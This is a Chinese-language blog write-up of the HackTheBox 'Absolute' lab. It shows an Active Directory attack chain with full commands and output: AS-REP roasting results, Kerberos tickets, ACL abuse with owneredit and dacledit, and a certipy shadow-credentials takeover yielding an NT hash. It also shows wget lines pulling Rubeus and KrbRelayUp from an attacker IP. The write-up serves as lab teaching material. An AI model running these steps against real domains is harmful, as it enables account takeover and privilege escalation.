Press 'q' or Ctrl-C to abort, almost any other key for status
Darkmoonsky248girl ($krb5asrep$23$d.klay@ABSOLUTE.HTB)     
1g 0:00:00:58 DONE (2026-09-02 13:12) 0.01711g/s 192339p/s 192339c/s 192339C/s DarrenCahppell..Danuelle
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

得到凭据d.klay/Darkmoonsky248girl

1
2
3
4
5
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# nxc smb 10.129.232.60 -u 'd.klay' -p 'Darkmoonsky248girl'
SMB         10.129.232.60   445    DC               [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.232.60   445    DC               [-] absolute.htb\d.klay:Darkmoonsky248girl STATUS_ACCOUNT_RESTRICTION

但是密码验证行不通，我们需要请求票据。

STATUS_ACCOUNT_RESTRICTION 通常意味着禁用了NTLM，并且需要使用Kerberos进行身份验证。

原理：NTLM 是”口令直接参与挑战-响应”的认证协议，管理员可通过组策略在域内禁用它。一旦禁用，凭 用户名+口令 走 NTLM 的路径全部报 STATUS_ACCOUNT_RESTRICTION。此时必须改用 Kerberos：先用 getTGT 拿到 TGT 并保存为 ccache，导出 KRB5CCNAME 后，所有工具加 -k 参数即可用票据认证。这也是本靶机后续几乎每一步都要”先 getTGT 再操作”的原因。

1
2
3
4
5
6
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# impacket-getTGT absolute.htb/d.klay:'Darkmoonsky248girl'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in d.klay.ccache

1
2
3
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# export KRB5CCNAME=d.klay.ccache

查看共享

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# nxc smb dc.absolute.htb -k -u d.klay -p 'Darkmoonsky248girl' --shares
SMB         dc.absolute.htb 445    DC               [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         dc.absolute.htb 445    DC               [+] absolute.htb\d.klay:Darkmoonsky248girl 
SMB         dc.absolute.htb 445    DC               [*] Enumerated shares
SMB         dc.absolute.htb 445    DC               Share           Permissions     Remark
SMB         dc.absolute.htb 445    DC               -----           -----------     ------
SMB         dc.absolute.htb 445    DC               ADMIN$                          Remote Admin
SMB         dc.absolute.htb 445    DC               C$                              Default share
SMB         dc.absolute.htb 445    DC               IPC$            READ            Remote IPC
SMB         dc.absolute.htb 445    DC               NETLOGON        READ            Logon server share 
SMB         dc.absolute.htb 445    DC               Shared                          
SMB         dc.absolute.htb 445    DC               SYSVOL          READ            Logon server share 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# nxc smb dc.absolute.htb -k -u d.klay -p 'Darkmoonsky248girl' --users 
SMB         dc.absolute.htb 445    DC               [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         dc.absolute.htb 445    DC               [+] absolute.htb\d.klay:Darkmoonsky248girl 
SMB         dc.absolute.htb 445    DC               -Username-                    -Last PW Set-       -BadPW- -Description-                                               
SMB         dc.absolute.htb 445    DC               Administrator                 2022-06-09 08:25:57 0       Built-in account for administering the computer/domain 
SMB         dc.absolute.htb 445    DC               Guest                         <never>             0       Built-in account for guest access to the computer/domain 
SMB         dc.absolute.htb 445    DC               krbtgt                        2022-06-09 08:16:38 0       Key Distribution Center Service Account 
SMB         dc.absolute.htb 445    DC               J.Roberts                     2022-06-09 08:25:51 0        
SMB         dc.absolute.htb 445    DC               M.Chaffrey                    2022-06-09 08:25:51 0        
SMB         dc.absolute.htb 445    DC               D.Klay                        2022-06-09 08:25:51 0        
SMB         dc.absolute.htb 445    DC               s.osvald                      2022-06-09 08:25:51 0        
SMB         dc.absolute.htb 445    DC               j.robinson                    2022-06-09 08:25:51 0        
SMB         dc.absolute.htb 445    DC               n.smith                       2022-06-09 08:25:51 0        
SMB         dc.absolute.htb 445    DC               m.lovegod                     2022-06-09 08:25:51 0        
SMB         dc.absolute.htb 445    DC               l.moore                       2022-06-09 08:25:51 0        
SMB         dc.absolute.htb 445    DC               c.colt                        2022-06-09 08:25:51 0        
SMB         dc.absolute.htb 445    DC               s.johnson                     2022-06-09 08:25:51 0        
SMB         dc.absolute.htb 445    DC               d.lemm                        2022-06-09 08:25:51 0        
SMB         dc.absolute.htb 445    DC               svc_smb                       2022-06-09 08:25:51 0       AbsoluteSMBService123! 
SMB         dc.absolute.htb 445    DC               svc_audit                     2022-06-09 08:25:51 0        
SMB         dc.absolute.htb 445    DC               winrm_user                    2022-06-09 08:25:51 0       Used to perform simple network tasks 
SMB         dc.absolute.htb 445    DC               [*] Enumerated 17 local users: absolute

svc_smb的描述好像是密码，使用该密码获取票据试一试。

1
2
3
4
5
6
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# impacket-getTGT absolute.htb/svc_smb:'AbsoluteSMBService123!'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in svc_smb.ccache
                                          
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# export KRB5CCNAME=svc_smb.ccache 
                                                                                                                                                                                                                  
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# nxc smb dc.absolute.htb -k -u svc_smb -p 'AbsoluteSMBService123!' --shares
SMB         dc.absolute.htb 445    DC               [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         dc.absolute.htb 445    DC               [+] absolute.htb\svc_smb:AbsoluteSMBService123! 
SMB         dc.absolute.htb 445    DC               [*] Enumerated shares
SMB         dc.absolute.htb 445    DC               Share           Permissions     Remark
SMB         dc.absolute.htb 445    DC               -----           -----------     ------
SMB         dc.absolute.htb 445    DC               ADMIN$                          Remote Admin
SMB         dc.absolute.htb 445    DC               C$                              Default share
SMB         dc.absolute.htb 445    DC               IPC$            READ            Remote IPC
SMB         dc.absolute.htb 445    DC               NETLOGON        READ            Logon server share 
SMB         dc.absolute.htb 445    DC               Shared          READ            
SMB         dc.absolute.htb 445    DC               SYSVOL          READ            Logon server share

我们对shared有阅读权限了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# impacket-smbclient 'absolute.htb/svc_smb:AbsoluteSMBService123!@dc.absolute.htb' -k -no-pass
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

Type help for list of commands
# dir
*** Unknown syntax: dir
# use Shared
# ls
drw-rw-rw-          0  Thu Sep  1 17:02:23 2022 .
drw-rw-rw-          0  Thu Sep  1 17:02:23 2022 ..
-rw-rw-rw-         72  Thu Sep  1 17:02:23 2022 compiler.sh
-rw-rw-rw-      67584  Thu Sep  1 17:02:23 2022 test.exe
# get compiler.sh
# get test.exe
# exit

反编译test.exe，但没有什么值得注意的东西，运行test.exe，将wireshark打开，看到一条ldap数据流，追踪得到凭据

1
absolute.htb\m.lovegod:AbsoluteLDAP2022!

同样请求票据并进一步枚举，使用bloodhound-python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# impacket-getTGT absolute.htb/m.lovegod:AbsoluteLDAP2022!
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in m.lovegod.ccache
                                                                                                                                                                                                                  
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# export KRB5CCNAME=m.lovegod.ccache
                                                                                                                                                                                                                  
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# bloodhound-python -u m.lovegod -k -d absolute.htb -ns 10.129.232.60 -c All --zip
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
Password: 
INFO: Found AD domain: absolute.htb
INFO: Using TGT from cache
INFO: Found TGT with correct principal in ccache file.
INFO: Connecting to LDAP server: dc.absolute.htb
INFO: Testing resolved hostname connectivity dead:beef::187
INFO: Trying LDAP connection to dead:beef::187
INFO: Testing resolved hostname connectivity dead:beef::5535:e85a:46c:e210
INFO: Trying LDAP connection to dead:beef::5535:e85a:46c:e210
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.absolute.htb
INFO: Testing resolved hostname connectivity dead:beef::187
INFO: Trying LDAP connection to dead:beef::187
INFO: Testing resolved hostname connectivity dead:beef::5535:e85a:46c:e210
INFO: Trying LDAP connection to dead:beef::5535:e85a:46c:e210
INFO: Found 18 users
INFO: Found 55 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc.absolute.htb
INFO: Done in 00M 29S
INFO: Compressing output into 20260902203542_bloodhound.zip

分析得到，M.LOVEGOD@ABSOLUTE.HTB是NETWORKERS@ABSOLUTE.HTB的成员，而该组对NETWORK AUDIT@ABSOLUTE.HTB拥有WriteOwner权限，且NETWORK AUDIT@ABSOLUTE.HTB对WINRM_USER@ABSOLUTE.HTB有GenericWrite权限。

原理：AD 中每个对象都有一个 DACL（自主访问控制列表）描述”谁能对它做什么”。BloodHound 通过 LDAP 收集这些 ACL 关系并绘成图，帮助发现隐蔽的提权链。这里涉及两种关键权限：WriteOwner 允许把对象的属主改成自己，成为属主后即可给自己授予任意权限（如 FullControl）进而修改成员关系；GenericWrite 允许写目标对象的大部分属性——对用户对象而言，这足以写入 msDS-KeyCredentialLink（影子凭据）来完全接管该账户。

那么攻击链就是M.LOVEGOD到NETWORK AUDIT@ABSOLUTE.HTB再到WINRM_USER@ABSOLUTE.HTB

先将M.LOVEGOD@ABSOLUTE.HTB加入NETWORK AUDIT@ABSOLUTE.HTB

1
2
3
4
5
6
7
8
9
10
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# impacket-owneredit -k -no-pass absolute.htb/m.lovegod -dc-ip dc.absolute.htb -new-owner m.lovegod -target 'Network Audit' -action write
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Current owner information below
[*] - SID: S-1-5-21-4078382237-1492182817-2568127209-1109
[*] - sAMAccountName: m.lovegod
[*] - distinguishedName: CN=m.lovegod,CN=Users,DC=absolute,DC=htb
[*] OwnerSid modified successfully!

现在成功修改组的所有者，添加完全控制权限

1
2
3
4
5
6
7
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# impacket-dacledit -k -no-pass absolute.htb/m.lovegod -dc-ip dc.absolute.htb -principal m.lovegod -target "Network Audit" -action write -rights FullControl
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] DACL backed up to dacledit-20260902-204458.bak
[*] DACL modified successfully!

将自己加进去

1
2
3
4
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# net rpc group addmem "Network Audit" m.lovegod -U 'm.lovegod' --use-kerberos=required -S dc.absolute.htb
Password for [WORKGROUP\m.lovegod]:

注意，在使用kinit创建票据时要修改krb5文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# cat /etc/krb5.conf 
[libdefaults]
    default_realm = ABSOLUTE.HTB
    kdc_timesync = 1
    ccache_type = 4
    forwardable = true
    proxiable = true
    fcc-mit-ticketflags = true
[realms]
    ABSOLUTE.HTB = {
        kdc = dc.absolute.htb
        admin_server = dc.absolute.htb
        default_domain = absolute.htb
    }

之后要重新添加ACL

现在可以对WINRM_USER进行影子凭据攻击，上次用的是pywhisker，这次用certipy。

原理：影子凭据（Shadow Credentials）攻击利用了用户/计算机对象的 msDS-KeyCredentialLink 属性——它本用于 Windows Hello for Business，存放账户的公钥凭据。当我们对目标拥有 GenericWrite 等写权限时，可以往该属性写入自己生成的一对证书公钥；随后用对应私钥通过 PKINIT 向 KDC 请求 TGT，即可”以目标身份”认证，并进一步 U2U 解出其 NT hash。相比改密码，它不会锁死原用户、且用完可还原，隐蔽性更好。certipy shadow auto 把”生成证书→写入→PKINIT→取回 NT hash→还原属性”整条流程自动化了。

注意要重新申请票据。

1
2
3
4
5
6
7
8
9
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# impacket-getTGT absolute.htb/m.lovegod:AbsoluteLDAP2022!                                                                                                  
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in m.lovegod.ccache
                                                                                                                                                                                                                  
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# export KRB5CCNAME=m.lovegod.ccache

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# certipy shadow auto -k -no-pass -u absolute.htb/m.lovegod@dc.absolute.htb -dc-ip 10.129.232.60 -target dc.absolute.htb -account winrm_user
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Targeting user 'winrm_user'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '7e08e40c-a63d-581a-d968-c5c1acfff30f'
[*] Adding Key Credential with device ID '7e08e40c-a63d-581a-d968-c5c1acfff30f' to the Key Credentials for 'winrm_user'
[*] Successfully added Key Credential with device ID '7e08e40c-a63d-581a-d968-c5c1acfff30f' to the Key Credentials for 'winrm_user'
[*] Authenticating as 'winrm_user' with the certificate
[*] Using principal: winrm_user@absolute.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'winrm_user.ccache'
[*] Trying to retrieve NT hash for 'winrm_user'
[*] Restoring the old Key Credentials for 'winrm_user'
[*] Successfully restored the old Key Credentials for 'winrm_user'
[*] NT hash for 'winrm_user': 8738c7413a5da3bc1d083efc0ab06cb2

现在导入票据拿到userflag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# export KRB5CCNAME=winrm_user.ccache 
                                                                                                                                                                                                                  
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# evil-winrm -i dc.absolute.htb -r absolute.htb
                                        
Evil-WinRM shell v3.9 
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline 
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion 
                                        
Info: Establishing connection to remote endpoint 
*Evil-WinRM* PS C:\Users\winrm_user\Documents> type ../desktop/user.txt
aae8026a71044cb222d3a655f875b184
*Evil-WinRM* PS C:\Users\winrm_user\Documents>

提权方面，这里用的是一种当时非常新的技术KrbRelay

原理：KrbRelay/KrbRelayUp 的核心是把 Kerberos 认证做中继。它诱导本机的 SYSTEM 上下文向攻击者控制的入口发起 Kerberos 认证，再把这张服务票据中继到 LDAP/SCM 等本地服务，进而配置基于资源的受限委派（RBCD）或直接创建高权限服务，最终在本机取得 SYSTEM。它填补了当年”本地无 NTLM 中继可用”场景下的提权空白。

使用工具KrbRelayUp

1
2
3
4
5
*Evil-WinRM* PS C:\users\public> wget 10.10.15.116/Rubeus.exe -o Rubeus.exe
*Evil-WinRM* PS C:\users\public> wget 10.10.15.116/RunasCs.exe -o RunasCs.exe
*Evil-WinRM* PS C:\users\public> wget 10.10.15.116/KrbRelayUp.exe -o KrbRelayUp.exe
*Evil-WinRM* PS C:\users\public>

但是由于我们所处的用户都在受保护的用户中（NTLM认证的原因），所以我们不能直接使用它来获得一个shell。

原理：”受保护的用户”（Protected Users）组会对成员强制施加更严格的安全策略：禁用 NTLM 认证、禁止 DES/RC4 等弱加密、禁止无约束/受约束委派、且 TGT 生命周期被缩短。这正是本靶机一路强制走 Kerberos 的根源，也意味着 KrbRelayUp 默认流程里依赖 NTLM/RC4 的环节无法直接套用，需要针对性调整。

这里在[HackTheBox Absolute AS-Rep-Roast + Kerberos Authentication + ACLs Modification + KrbRelay] | 0xfd’s blog的文章中已经说的非常详细了，在此就不献丑了。

总体来说前面考察的基本功还是挺多的，是台不错的靶机。

#HTB
HackTheBox-Absolute
http://example.com/2026/09/02/HackTheBox-Absolute/
Author
Skyarrow
Posted on
September 2, 2026
Licensed under